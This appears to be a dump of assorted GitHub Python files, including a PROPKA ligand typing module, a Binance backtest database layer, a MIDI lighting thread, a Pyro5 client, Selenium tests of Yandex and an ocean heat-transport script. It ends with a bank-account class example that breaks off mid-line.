+{"seq_id":"72962058640","text":"#!/usr/bin/python\n\nimport sys, pdb, protonate, lib, bonds\nfrom Source.vector_algebra import *\n\nall_sybyl_types = [\n    'C.3',   #  carbon sp3\n    'H',     #  hydrogen\n    'C.2',   #  carbon sp2\n    'H.spc', #  hydrogen in Single Point Charge (SPC) water model\n    'C.1',   #  carbon sp\n    'H.t3p', #  hydrogen in Transferable intermolecular Potential (TIP3P) water model\n    'C.ar',  #  carbon aromatic\n    'LP',    #  lone pair\n    'C.cat', #  carbocation (C+) used only in a guadinium group\n    'Du',    #  dummy atom\n    'N.3',   #  nitrogen sp3\n    'Du.C',  #  dummy carbon\n    'N.2',   #  nitrogen sp2\n    'Any',   #  any atom\n    'N.1',   #  nitrogen sp\n    'Hal',   #  halogen\n    'N.ar',  #  nitrogen aromatic\n    'Het',   #  heteroatom = N, O, S, P\n    'N.am',  #  nitrogen amide\n    'Hev',   #  heavy atom (non hydrogen)\n    'N.pl3', #  nitrogen trigonal planar\n    'Li',    #  lithium\n    'N.4',   #  nitrogen sp3 positively charged\n    'Na',    #  sodium\n    'O.3',   #  oxygen sp3\n    'Mg',    #  magnesium\n    'O.2',   #  oxygen sp2\n    'Al',    #  aluminum\n    'O.co2', #  oxygen in carboxylate and phosphate groups\n    'Si',    #  silicon\n    'O.spc', #  oxygen in Single Point Charge (SPC) water model\n    'K',     #  potassium\n    'O.t3p', #  oxygen in Transferable Intermolecular Potential (TIP3P) water model\n    'Ca',    #  calcium\n    'S.3',   #  sulfur sp3\n    'Cr.th', #  chromium (tetrahedral)\n    'S.2',   #  sulfur sp2\n    'Cr.oh', #  chromium (octahedral)\n    'S.O',   #  sulfoxide sulfur\n    'Mn',    #  manganese\n    'S.O2',  #  sulfone sulfur\n    'Fe',    #  iron\n    'P.3',   #  phosphorous sp3\n    'Co.oh', #  cobalt (octahedral)\n    'F',     #  fluorine\n    'Cu',    #  copper\n    'Cl',    #  chlorine\n    'Zn',    #  zinc\n    'Br',    #  bromine\n    'Se',    #  selenium\n    'I',     #  iodine\n    'Mo',    #  molybdenum\n    'Sn']    #  tin\n\n\n#propka_input_types = ['1P','1N','2P','2N']\n#for type in all_sybyl_types:\n#    temp = type.replace('.','')\n#    if len(temp)>3:\n#        temp = temp[0:3]\n#    propka_input_types.append(temp)\n#\n#for t in propka_input_types:\n#    print (t)\n\n\npropka_input_types = [\n    '1P',\n    '1N',\n    '2P',\n    '2N',\n    'C3',\n    'H',\n    'C2',\n    'Hsp',\n    'C1',\n    'Ht3',\n    'Car',\n    'LP',\n    'Cca',\n    'Du',\n    'N3',\n    'DuC',\n    'N2',\n    'Any',\n    'N1',\n    'Hal',\n    'Nar',\n    'Het',\n    'Nam',\n    'Hev',\n    'Npl',\n    'Li',\n    'N4',\n    'Na',\n    'O3',\n    'Mg',\n    'O2',\n    'Al',\n    'Oco',\n    'Si',\n    'Osp',\n    'K',\n    'Ot3',\n    'Ca',\n    'S3',\n    'Crt',\n    'S2',\n    'Cro',\n    'SO',\n    'Mn',\n    'SO2',\n    'Fe',\n    'P3',\n    'Coo',\n    'F',\n    'Cu',\n    'Cl',\n    'Zn',\n    'Br',\n    'Se',\n    'I',\n    'Mo',\n    'Sn']\n\n\nions = ['CA','NA']\n\nmax_C_double_bond = 1.3\nmax_C_triple_bond = 1.2\n\nmax_C_double_bond_squared = max_C_double_bond*max_C_double_bond\nmax_C_triple_bond_squared = max_C_triple_bond*max_C_triple_bond\n\nclass ligand:\n    def __init__(self, atoms):\n        self.atoms = atoms\n        for atom in self.atoms:\n            atom.residue = self\n\n        #self.remove_ions()\n        self.configuration_keys = atoms[0].configurations.keys()\n        \n        # create ligand residue objects\n        self.ligand_residues = []\n        self.split_into_residues()\n\n        return\n\n    def __str__(self):\n        res  = '----Ligand----\\n'\n        for atom in self.atoms:\n            res += '%s\\n'%atom\n        res+='--------------'\n        return res\n\n\n    def split_into_residues(self):\n        \n        residue = []\n        if len(self.atoms)>0:\n            current_residue_number = self.atoms[0].resNumb\n\n        for atom in self.atoms:\n            if atom.resNumb != current_residue_number:\n                self.ligand_residues.append(ligand_residue(residue))\n                residue = []\n                current_residue_number = atom.resNumb\n\n            residue.append(atom)\n\n        # remember to include the last ligand residue\n        self.ligand_residues.append(ligand_residue(residue))\n\n\n        return\n\n\n    def remove_ions(self):\n        self.atoms = [atom for atom in self.atoms if atom.get_element() not in ions]\n        return\n\n    def writePDB(self, pdbname):\n        print(\"writing pdbfile %s\" % (pdbname))\n        file = open(pdbname, 'w')\n\n        configurations = lib.get_sorted_configurations(self.configuration_keys)\n        if len(configurations)==1:        \n            self.write_atoms(file)\n        else:\n            for configuration in configurations:\n                self.setConfiguration(configuration)\n                file.write('MODEL%9d\\n'%int(configuration[1]))\n                self.write_atoms(file)\n                file.write('ENDMDL\\n')\n        file.close()\n\n        return\n    \n    def write_atoms(self,file):\n        atom_number=1\n        for atom in my_ligand.atoms:\n            atom.writePDB(file,atom_number)\n            atom_number+=1\n        return\n\n\n    def assign_atom_names(self):\n        \"\"\"Assigns sybyl names to ligand atoms based on elements and coordinates \"\"\"\n        # find bonding atoms\n        self.my_bond_maker = bonds.bondmaker()\n        self.my_bond_maker.find_bonds_for_atoms(self.atoms)\n\n        for atom in self.atoms:\n            # check if we already have assigned a name to this atom\n            if hasattr(atom,'sybyl_assigned'):\n                print(atom.name,'already assigned')\n                continue\n\n            # find some properties of the atom\n            ring_atoms = self.is_ring_member(atom)\n            aromatic   = self.is_aromatic_ring(ring_atoms)\n            planar     = self.is_planar(atom)\n            bonded_elements = {}\n            for i in range(len(atom.bonded_atoms)):\n                bonded_elements[i]=atom.bonded_atoms[i].get_element()\n\n            # Aromatic carbon/nitrogen\n            if aromatic:\n                for ra in ring_atoms:\n                    if ra.get_element() in ['C','N']:\n                        self.set_type(ra, ra.get_element()+'.ar')\n                continue\n\n            # check for amide\n            if atom.get_element() in ['O','N']:\n                amide = 0\n                for b in atom.bonded_atoms:\n                    if b.element == 'C':\n                        for bb in b.bonded_atoms:\n                            if (bb.get_element() =='N' and atom.get_element() == 'O'):\n                                self.set_type(bb,'N.am')\n                                self.set_type(b,'C.2')\n                                self.set_type(atom,'O.2')\n                                amide = 1                                \n                            if (bb.get_element() =='O' and atom.get_element() == 'N'):\n                                self.set_type(atom,'N.am')\n                                self.set_type(b,'C.2')\n                                self.set_type(bb,'O.2')                                \n                                amide = 1\n                if amide==1:\n                    continue\n                \n\n            if atom.get_element()=='C':\n                # check for amide\n                if 'O' in bonded_elements.values() and 'N' in bonded_elements.values():\n                    self.set_type(atom,'C.2')\n                    for b in atom.bonded_atoms:\n                        if b.get_element()=='N':\n                            self.set_type(b,'N.am')\n                        if b.get_element()=='O':\n                            self.set_type(b,'O.2')\n                    continue\n                \n                # check for carboxyl\n                if len(atom.bonded_atoms)==3 and list(bonded_elements.values()).count('O')==2:\n                    i1 = list(bonded_elements.values()).index('O')\n                    i2 = list(bonded_elements.values()).index('O',i1+1)\n                    if len(atom.bonded_atoms[i1].bonded_atoms)==1 and len(atom.bonded_atoms[i2].bonded_atoms)==1:\n                        self.set_type(atom.bonded_atoms[i1],'O.co2+')\n                        self.set_type(atom.bonded_atoms[i2],'O.co2')\n                        self.set_type(atom,'C.2')\n                        continue\n\n\n                \n                # sp carbon\n                if len(atom.bonded_atoms)<=2:\n                    for b in atom.bonded_atoms:\n                        if self.my_bond_maker.squared_distance(atom, b) < max_C_triple_bond_squared:\n                            self.set_type(atom,'C.1')\n                            self.set_type(b,b.get_element()+'.1')\n                    if hasattr(atom,'sybyl_assigned'):\n                        continue\n\n                # sp2 carbon\n                if planar:\n                    self.set_type(atom,'C.2')\n                    # check for N.pl3\n                    for b in atom.bonded_atoms:\n                        if b.get_element()=='N':\n                            if len(b.bonded_atoms)<3 or self.is_planar(b):\n                                self.set_type(b,'N.pl3')\n                    continue\n        \n                # sp3 carbon\n                self.set_type(atom, 'C.3')\n                continue\n\n            # Nitrogen\n            if atom.get_element() == 'N':\n                # check for planar N\n                if len(atom.bonded_atoms)==1:\n                    if self.is_planar(atom.bonded_atoms[0]):\n                        self.set_type(atom,'N.pl3')\n                        continue\n                    \n                if planar:\n                    self.set_type(atom,'N.pl3')\n                    continue\n                \n                self.set_type(atom,'N.3')\n                continue\n\n            # Oxygen\n            if atom.get_element() == 'O':\n                self.set_type(atom,'O.3')\n                # check for X=O\n                if len(atom.bonded_atoms) == 1:\n                    if self.my_bond_maker.squared_distance(atom, atom.bonded_atoms[0]) < max_C_double_bond_squared:\n                        self.set_type(atom,'O.2')\n                        if atom.bonded_atoms[0].get_element()=='C':\n                            self.set_type(atom.bonded_atoms[0],'C.2')\n                continue\n\n\n            # Sulphur\n            if atom.get_element() == 'S':\n                #check for SO2\n                if list(bonded_elements.values()).count('O')==2:\n                        i1 = list(bonded_elements.values()).index('O')\n                        i2 = list(bonded_elements.values()).index('O',i1+1)\n                        self.set_type(atom.bonded_atoms[i1],'O.2')\n                        self.set_type(atom.bonded_atoms[i2],'O.2')\n                        self.set_type(atom,'S.o2')\n                        continue\n                \n                # check for SO4\n                if list(bonded_elements.values()).count('O')==4:\n                    no_O2 = 0\n                    for i in range(len(atom.bonded_atoms)):\n                        if len(atom.bonded_atoms[i].bonded_atoms)==1 and no_O2<2:\n                            self.set_type(atom.bonded_atoms[i],'O.2')\n                            no_O2+=1\n                        else:\n                            self.set_type(atom.bonded_atoms[i],'O.3')\n\n                self.set_type(atom,'S.3')\n\n\n                continue\n\n\n            element = atom.get_element().capitalize()\n            self.set_type(atom,element)\n            #print('Using element as type for %s'%atom.get_element())\n        return\n\n    def set_type(self,atom,type):\n        print(atom,'->',type)\n        atom.name = type\n        atom.sybyl_assigned=1\n        return\n\n\n    def is_ring_member(self, atom):\n        return self.identify_ring(atom,atom,0,[])\n\n    def identify_ring(self, this_atom, original_atom, number, past_atoms):\n        number+=1\n        past_atoms=past_atoms+[this_atom]\n        return_atoms = []\n\n        for atom in this_atom.bonded_atoms:\n            if atom == original_atom and number>2:\n                return past_atoms\n\n            if atom not in past_atoms:\n                these_return_atoms = self.identify_ring(atom, original_atom, number, past_atoms)\n                if len(these_return_atoms) > 0:\n                    if len(return_atoms)>len(these_return_atoms) or len(return_atoms)==0:\n                        return_atoms = these_return_atoms\n\n        return return_atoms\n\n\n    def is_planar(self, atom):\n        \"\"\" Finds out if atom forms a plane together with its bonded atoms\"\"\"\n        atoms = [atom]+atom.bonded_atoms\n        return self.are_atoms_planar(atoms)\n\n    def are_atoms_planar(self, atoms):\n        if len(atoms)==0:\n            return False\n        if len(atoms)<4:\n            return False\n        v1 = vector(atom1=atoms[0], atom2=atoms[1])\n        v2 = vector(atom1=atoms[0], atom2=atoms[2])\n        n = (v1**v2).rescale(1.0)\n\n        margin = 0.20\n        for b in atoms[3:]:\n            v = vector(atom1=atoms[0], atom2=b).rescale(1.0)\n            #print(atoms[0],abs(v*n) )\n            if abs(v*n)>margin:\n                return False\n            \n        return True\n\n    def is_aromatic_ring(self, atoms):\n        if len(atoms)<5:\n            return False\n        \n        for i in range(len(atoms)):\n            if not self.are_atoms_planar(atoms[i:]+atoms[:i]):\n                return False\n\n        return True\n\n\n\nclass ligand_residue:\n    def __init__(self, atoms):\n        self.resNumb = -1\n        self.resName = ''\n\n        self.atoms = atoms\n\n        if len(self.atoms)>0:\n            self.resNumb = self.atoms[0].resNumb\n            self.resName = self.atoms[0].resName\n\n        print('Created ligand residue %s with %2d atoms'%(self, len(self.atoms)))\n\n        return\n\n    def __str__(self):\n        return '%s-%4d'%(self.resName,self.resNumb)\n\n\nif __name__ == '__main__':\n    if len(sys.argv)<2:\n        sys.exit(0)\n\n    protonator = protonate.Protonate()\n\n    print(sys.argv[1])\n    atoms = pdb.readPDB(sys.argv[1],tags=[\"ATOM\",\"HETATM\"])\n    \n    my_ligand = ligand(atoms)\n    \n    \n\n    #assign sybyl names\n    protonator.remove_all_hydrogen_atoms_from_ligand(my_ligand)\n    my_ligand.assign_atom_names()\n\n    my_ligand.writePDB('before_ligand_protonation.pdb')\n\n    #convert to propka input names\n#    for atom in my_ligand.atoms:\n#        temp = atom.name\n#        temp = temp.replace('.','')\n#        if len(temp)>3:\n#            temp = temp[0:3]\n#        atom.name = temp\n\n    # protonate\n    protonator.protonate_ligand(my_ligand)\n    my_ligand.writePDB('after_ligand_protonation.pdb')\n\n","repo_name":"jensengroup/propka-3.0","sub_path":"Source/ligand.py","file_name":"ligand.py","file_ext":"py","file_size_in_byte":14362,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"2321126322","text":"import random\n\n\ndef reservoir_sampling(source, k):\n    samples = []\n    n = 0 \n    # try to initial samples \n    while n < k:\n        try:\n            s = source[n]\n        except:\n            break \n        samples.append(s)\n        n += 1\n    n = k\n    while True:\n        try:\n            s = source[n]\n        except:\n            break \n        t = random.randint(0, n)  # inclusive, choose a number at 1/n prob.  \n        if t < k: samples[t] = s  # update when one of the buffer item is chosen\n        n += 1         \n    return samples \n\nif __name__ == '__main__':\n    s = [[random.randint(1,10) for _ in range(5)] for _ in range(10)]\n    print(reservoir_sampling(s, 2))","repo_name":"Rogerspy/model-scaffold","sub_path":"cortex/replay/reservoir_sampling.py","file_name":"reservoir_sampling.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17716297693","text":"from binance import Client\nimport psycopg2\nimport config\nimport datetime\n\n\nclass BacktestRepository:\n\n    def __get_connection(self):\n        connection = psycopg2.connect(\n            host=config.dbhost,\n            database=config.dbname,\n            port=config.dbport,\n            user=config.dbuser,\n            password=config.dbpassword)\n        return connection\n\n    def enrich_history_data(self, interval) -> object:\n        table_name = \"kline_{s}\".format(s=interval)\n        sql_insert = '''\ninsert into {table_name} (ticker_id, k_interval, open_price, high_price, low_price, close_price, volume)\nvalues (1,%s, %s, %s, %s, %s, %s);\n'''.format(table_name=table_name)\n        print(sql_insert)\n        client = Client(config.api_key, config.api_secret)\n        symbol = 'BTCUSDT'\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        dbrows = []\n        #date in mm-dd-yyyy format\n        klines = client.get_historical_klines(symbol, interval, \"11.01.2022 00:00:00\",\n                                              \"11.30.2022 23:59:59\")\n\n        start_interval = 0\n        open_p = 1\n        high = 2\n        low = 3\n        close = 4\n        volume = 5\n        for kline in klines:\n            print(kline[start_interval] / 1000)\n            interval = datetime.datetime.fromtimestamp(kline[start_interval] / 1000)\n            print(interval.strftime('%Y-%d-%m %H:%M:%S'))\n            dbrows.append((interval, kline[open_p], kline[high], kline[low], kline[close], kline[volume]))\n\n        cur.executemany(sql_insert,  dbrows)\n        conn.commit()\n        conn.close()\n\n    def get_kline_period_id(self, period_descr):\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        cur.execute('select id from backtest_periods where period_descr=%s ', period_descr)\n        period_id = cur.fetchone()\n        conn.close()\n        return period_id\n\n    def save_strategy_results(self, results):\n\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        cur.executemany('''insert into backtests(launch_time,period_from,period_to,backtest_interval_id,start_sum,result_sum,kline_period,status, error_descr,launch_id)\n        values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)''', results)\n        conn.commit()\n        conn.close()\n\n    def get_backtest_interavals(self):\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        cur.execute('select id,period_descr from backtest_periods')\n        periods = cur.fetchall()\n        conn.close()\n        return periods\n\n    def get_backtest_period(self, interval):\n        table_name = \"kline_{s}\".format(s=interval)\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        sql_insert = '''(select k_interval from {table_name} order by k_interval limit 1)\n        union all\n        (select k_interval from {table_name} order by k_interval desc limit 1)\n        '''.format(table_name=table_name)\n        cur.execute(sql_insert)\n        intervals = cur.fetchall()\n        print('intervals for backtesting from {} to {}'.format(intervals[0], intervals[1]))\n        conn.close()\n        return intervals\n\n\n    def get_next_launch_id(self):\n        conn = self.__get_connection()\n        cur = conn.cursor()\n        cur.execute('select nextval(\\'public.backtests_launch_id_seq\\')')\n        return cur.fetchone()\n\n#bt = BacktestRepository()\n#bt.enrich_history_data(Client.KLINE_INTERVAL_1MINUTE)\n","repo_name":"Glebza/coins_backtester","sub_path":"glebza/tradeapp/src/backtests/repository/backtest_repository.py","file_name":"backtest_repository.py","file_ext":"py","file_size_in_byte":3418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4189315187","text":"import threading\nimport time\n\n\nclass IoThread:\n    def __init__(self, backend, name, output_func, mapper=None):\n        self._mido_backend = backend\n        self._name = name\n        self._output_func = output_func\n        self._mapper = mapper\n        self._channel_values = []\n        self._stop = threading.Event()\n\n        self._thread = threading.Thread(target=self._run)\n        self._thread.daemon = True\n        self._thread.setName(\"midils input thread for {0}\".format(self._name))\n\n    def start(self):\n        self._stop.clear()\n        self._thread.start()\n\n    def stop(self):\n        self._stop.set()\n\n    def _handle_message(self, message):\n        \"\"\"Updates channel values when a MIDI message is received\"\"\"\n        if message.type in ['note_on', 'note_off']:\n            channels = self._get_channels(message.note)\n            if channels is None:\n                print(\"Note not mapped:\", message.note)\n            else:\n                for channel in channels:\n                    self._modify_channel_value(channel, message.type == 'note_on')\n\n    def _modify_channel_value(self, channel, is_on):\n        \"\"\"Updates the value of a channel, extending the underlying array of values as necessary\"\"\"\n        num_ch = len(self._channel_values)\n        if channel >= num_ch:\n            diff = channel - num_ch + 1\n            extension = [1] * diff\n            self._channel_values.extend(extension)\n        value = self._channel_values[channel]\n        if is_on:\n            value *= 16\n        else:\n            value /= 16\n        value = int(value)\n        self._channel_values[channel] = value\n\n    def _get_channels(self, note):\n        \"\"\"Maps the note to a set of output channels if a mapper exists.\n        Returns None if mapping doesn't exist\"\"\"\n        if self._mapper is None:\n            return note\n        return self._mapper.map(note)\n\n    def _run(self):\n        \"\"\"Write the channel values to the output at set intervals until stopped\"\"\"\n        self._mido_backend.open_input(self._name, callback=self._handle_message)\n        while not self._stop.is_set():\n            if len(self._channel_values) > 0:\n                max_bound = [254 if x > 254 else x for x in self._channel_values]\n                min_bound = [0 if x == 1 else x for x in max_bound]\n                self._output_func(min_bound)\n            time.sleep(0.1)\n\n\ndef _velocity_to_output(velocity):\n    \"\"\"Approximately maps keyboard velocity in range [1, 120]\n    to output value in range [0, 255]\"\"\"\n    return (velocity - 1) * 2 + 1\n","repo_name":"bookdude13/midilights","sub_path":"midilights/IoThread.py","file_name":"IoThread.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38313202588","text":"from Pyro5.api import Proxy\nimport Pyro5.errors\n\n\nuri = input(\"Enter the URI of the thirdparty library object: \").strip()\nwith Proxy(uri) as remote:\n    print(remote.method(\"how are you?\"))\n\n    try:\n        print(remote.weird())\n    except Pyro5.errors.SerializeError:\n        print(\"couldn't call weird() due to serialization error of the result value! (is ok)\")\n\n    try:\n        print(remote.private())    # we can call this if full class is exposed...\n    except AttributeError:\n        print(\"couldn't call private(), it doesn't seem to be exposed! (is ok)\")\n","repo_name":"irmen/Pyro5","sub_path":"examples/thirdpartylib/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":268,"dataset":"github-code","pt":"3"}
+{"seq_id":"73198145680","text":"import os\r\nimport logging\r\nfrom time import sleep\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException, ElementClickInterceptedException\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\n\r\nlogging.basicConfig(\r\n    filename=\"app.log\",\r\n    level=logging.INFO,\r\n    filemode='w',\r\n    format='[%(asctime)s] %(filename)s Line:%(lineno)d #%(levelname)s | %(name)s: %(message)s',\r\n    datefmt='%d-%b-%y %H:%M:%S'\r\n)\r\n\r\ntask1_expected = {'search_field_found': True,\r\n                  'suggest_is_visible': True,\r\n                  'links>=5': True}\r\n\r\ntask2_expected = {'pictures_link_found': True,\r\n                'pic1_exists': True,\r\n                'next_is_not_the_same_pic': True,\r\n                'pic1_matches': True}\r\n\r\n\r\nclass TensorTask:\r\n    def __init__(self):\r\n        self.options = webdriver.ChromeOptions()\r\n        # self.options.add_argument('headless')\r\n        self.driver = webdriver.Chrome(os.path.join('static', 'chromedriver.exe'), options=self.options)\r\n\r\n    def get_links(self):\r\n        \"\"\" Задание № 1 \"\"\"\r\n        results = {key: False for key in task1_expected}\r\n        # 1) Зайти на yandex.ru\r\n        self.driver.get('https://yandex.ru')\r\n\r\n        # 2) Проверить наличие поля поиска\r\n        try:\r\n            search_field = self.driver.find_element_by_id('text')\r\n            results['search_field_found'] = bool(search_field)\r\n            logging.info('Search field found')\r\n        except NoSuchElementException as ex:\r\n            logging.exception(ex)\r\n            return results\r\n\r\n        # 3) Ввести в поиск Тензор\r\n        search_field.send_keys('Тензор')\r\n        logging.info('\"Тензор\" input')\r\n        sleep(5)\r\n\r\n        # 4) Проверить, что появилась таблица с подсказками (suggest)\r\n        try:\r\n            suggest = self.driver.find_element_by_css_selector('div.suggest2__content.suggest2__content_theme_normal')\r\n            results['suggest_is_visible'] = suggest.is_displayed()\r\n            logging.info('Suggest is visible')\r\n        except NoSuchElementException:\r\n            results['suggest_is_visible'] = False\r\n            logging.error('Suggest did not appear')\r\n\r\n        # 5) При нажатии Enter появляется таблица результатов поиска\r\n        search_field.send_keys(Keys.RETURN)\r\n        try:\r\n            tensor_urls = self.driver.find_elements_by_css_selector('h2 a')\r\n            logging.info('Search results found')\r\n        except NoSuchElementException:\r\n            logging.error('No links found')\r\n            return results\r\n\r\n        # 6) В первых 5 результатах есть ссылка на tensor.ru\r\n        urls_count = len([link for link in tensor_urls if 'tensor.ru' in link.get_property('href')])\r\n        results['links>=5'] = (urls_count >= 5)\r\n        logging.info(f\"There is/are {urls_count} link(s) to tensor.ru\")\r\n        return results\r\n\r\n    def get_pictures(self):\r\n        \"\"\" Задание № 2 \"\"\"\r\n        results = {key: False for key in task2_expected}\r\n        # 1) Зайти на yandex.ru\r\n        self.driver.get('https://yandex.ru')\r\n\r\n        # 2) Ссылка «Картинки» присутствует на странице\r\n        try:\r\n            pictures_link = self.driver.find_element_by_link_text('Картинки')\r\n            results['pictures_link_found'] = bool(pictures_link)\r\n            logging.info('Pictures link found')\r\n        except NoSuchElementException as ex:\r\n            logging.exception(ex)\r\n            return results\r\n\r\n        # 3) Кликаем на ссылку\r\n        pictures_link.click()\r\n\r\n        # 4) Проверить, что перешли на url https://yandex.ru/images/\r\n        if 'https://yandex.ru/images/' in self.driver.current_url:\r\n            logging.info('URL \"https://yandex.ru/images/\" is correct')\r\n            # 5) Открыть 1 картинку, проверить что открылась\r\n            # 5.1 Находим первое изображение и открываем\r\n            try:\r\n                first_picture = self.driver.find_elements_by_class_name('cl-teaser__wrap.cl-teaser-video-play')[0]\r\n                logging.info('The first picture div found')\r\n                first_picture.click()\r\n            except NoSuchElementException or ElementClickInterceptedException as ex:\r\n                logging.exception(ex, 'The first picture div not found')\r\n                return results\r\n\r\n            # 5.2 Убеждаемся, что изображение существует\r\n            try:\r\n                first_picture_source = self.driver.find_element_by_css_selector('div.image__wrap__i img.image__image'\r\n                                                                                '').get_attribute('src')\r\n                results['pic1_exists'] = bool(first_picture_source)\r\n                logging.info('The first picture has a source')\r\n            except NoSuchElementException as ex:\r\n                first_picture_source = None\r\n                logging.exception(ex, 'The first picture source path not found')\r\n\r\n            # 6) При нажатии кнопки \"вперед\" картинка изменяется\r\n            try:\r\n                right_arrow = self.driver.find_element_by_css_selector('div.cl-layout__nav__right'\r\n                                                                       ' a.cl-layout__nav__arrow ')\r\n                logging.info('Right arrow found')\r\n                right_arrow.click()\r\n            except NoSuchElementException or ElementClickInterceptedException as ex:\r\n                logging.exception(ex, 'Right arrow not found')\r\n                return results\r\n\r\n            try:\r\n                second_picture_source = self.driver.find_element_by_css_selector('div.image__wrap__i img.image__image'\r\n                                                                                 '').get_attribute('src')\r\n                results['next_is_not_the_same_pic'] = (first_picture_source != second_picture_source)\r\n                logging.info('The second picture is not the same as the first one')\r\n            except NoSuchElementException as ex:\r\n                logging.exception(ex, 'Second picture source not found')\r\n\r\n            # 7) При нажатии кнопки назад картинка изменяется на изображение из шага 5.\r\n            try:\r\n                left_arrow = self.driver.find_element_by_css_selector('div.cl-layout__nav__left '\r\n                                                                      'a.cl-layout__nav__arrow ')\r\n                logging.info('Left arrow found')\r\n\r\n                # перехватываем сообщение Яндекса о регистрации\r\n                sleep(3)\r\n                try:\r\n                    msg_box = self.driver.find_element_by_css_selector('div.message-box__close svg')\r\n                    if msg_box.is_displayed():\r\n                        msg_box.click()\r\n                except NoSuchElementException:\r\n                    pass\r\n\r\n                left_arrow.click()\r\n            except NoSuchElementException as ex:\r\n                logging.exception(ex, 'Left arrow not found')\r\n                return results\r\n\r\n            # Необходимо проверить, что это тоже изображение.\r\n            try:\r\n                new_picture_source = self.driver.find_element_by_css_selector('div.image__wrap__i'\r\n                                                                              ' img.image__image').get_attribute('src')\r\n                results['pic1_matches'] = (new_picture_source == first_picture_source)\r\n                logging.info('Got the same picture after coming back')\r\n            except NoSuchElementException as ex:\r\n                logging.exception(ex, 'The source of picture not found after coming back')\r\n\r\n            return results\r\n        else:\r\n            return results\r\n\r\n\r\nif __name__ == '__main__':\r\n    tensor = TensorTask()\r\n\r\n    logging.info(' =========== Task № 1 started ===========')\r\n    try:\r\n        result = tensor.get_links()\r\n        logging.info(result)\r\n        assert task1_expected == result\r\n        logging.info('First task passed successfully')\r\n    except AssertionError as a:\r\n        logging.exception(a)\r\n        logging.info('First task failed')\r\n    logging.info(' =========== Task № 1 finished ===========')\r\n\r\n    logging.info(' =========== Task № 2 started ===========')\r\n    try:\r\n        result = tensor.get_pictures()\r\n        logging.info(result)\r\n        assert task2_expected == result\r\n        logging.info('Second task passed successfully')\r\n    except AssertionError as a:\r\n        logging.exception(a)\r\n        logging.info('Second task failed')\r\n    logging.info(' =========== Task № 2 finished ===========')\r\n\r\n    tensor.driver.quit()\r\n","repo_name":"KazakovDenis/selenium-autotest","sub_path":"tensor.py","file_name":"tensor.py","file_ext":"py","file_size_in_byte":9060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4022217687","text":"#Create ozone single time file.\nimport xarray as xr\nimport numpy as np\nimport matplotlib.pyplot as plt\n\na= 6376.0e3 #radius used in model\n\nname='/scratch/rg419/GFDL_model/GFDLmoistModel/exp/q_flux_test/input/ocean_qflux.nc'\nrundata = xr.open_dataset( name,\n        decode_times=False,  # no calendar so tell netcdf lib\n        # choose how data will be broken down into manageable chunks.\n        chunks={'time': 30, 'lon': 128//4, 'lat': 64//2})\n\n#rundata.ocean_qflux.values[rundata.ocean_qflux.values==0] = np.nan\n\ndef integrate_lat(data):\n    rundata.coords['dlat'] = ('lat',np.diff(data.latb))\n    rundata.coords['dlon'] = ('lon',np.diff(data.lonb))\n    integrand = rundata.ocean_qflux * rundata.dlat*np.pi/180. * a * a * np.cos(rundata.lat * np.pi/180.) * rundata.dlon*np.pi/180.\n    \n    integrand_test = (integrand).sum(('lon'))\n\n    rundata['heat_trans'] = (('time','lat','lon'), np.cumsum(integrand.values, axis=1) )\n\n    rundata['heat_trans_test'] = (('time','lat'), np.cumsum(integrand_test.values, axis=1) )\n    \n    rundata.heat_trans.values[rundata.ocean_qflux.values==0] = np.nan\n    \n\n    #rundata.heat_trans_test.mean('time').plot()\n    rundata['heat_trans_mean'] = (('time','lat'),np.nanmean(rundata.heat_trans.values, axis=2)) #.nanmean(('time','lon'))#.plot()\n    rundata.heat_trans_mean[0,:].plot()\n    \n    #rundata.heat_trans[0,:,:].mean(('lon')).plot()\n    #rundata.heat_trans[0,:,20].plot()\n\n    #plt.figure(2)\n    #rundata.heat_trans[0,63,:].plot()\n\n    plt.show()\n    \nintegrate_lat(rundata)\n\n","repo_name":"subond/python_scripts","sub_path":"heat_budg_dev/ocean_heat_trans.py","file_name":"ocean_heat_trans.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"15637153652","text":"\nclass BankAccount:\n    def __init__(self, opening_balance):\n        self.balance = opening_balance  # need to store arg\n        self.transactions = []\n\n    def get_balance(self):\n        return self.balance\n\n    def withdraw(self, amount):\n        self.transactions.append(-amount)\n        self.balance -= amount\n        return self.balance\n\n    def deposit(self, amount):\n        self.transactions.append(amount)\n        self.balance += amount\n        return self.balance\n\nclass StatementMixin():  # doesn't need an init, only inherited; mixes methods into other classes\n\n    # balance = 0  # static property\n\n    def __init__(self):\n        print(\"This is statementmixin's dunder init\")\n\n    def print_statement(self):\n        print(type(self))  # prints \"class ...SavingsAccount because SA inherits from statement -- self will always be the thing to the left of the dot\"\n        print(f\"Balance = {self.balance}\")\n        for transaction in self.transactions:\n            print(transaction)\n\n    # def get_balance():\n    #     pass  # wouldn't call because BankAccount is inherited in SavingsAccount first\n\n\n# Bart doesn't suggest using StatementMixin (or any other mixins, for that matter)\n\n# SavingsAccount is a subclass of BankAccount, StatementMixin\nclass SavingsAccount(BankAccount, StatementMixin): # multiple inheritance\n    def __init__(self, opening_balance, interest_rate):\n        # delegated setting the balance to the super class (BankAccount)\n        # self.balance = opening_balance # already in BankAccount, unnecessary\n        # set interest rate\n        self.interest_rate = interest_rate\n\n    def compound_interest(self):\n        self.balance = self.balance + self.balance * self.interest_rate\n\n    def get_balance(self):\n        balance = super().get_balance()\n      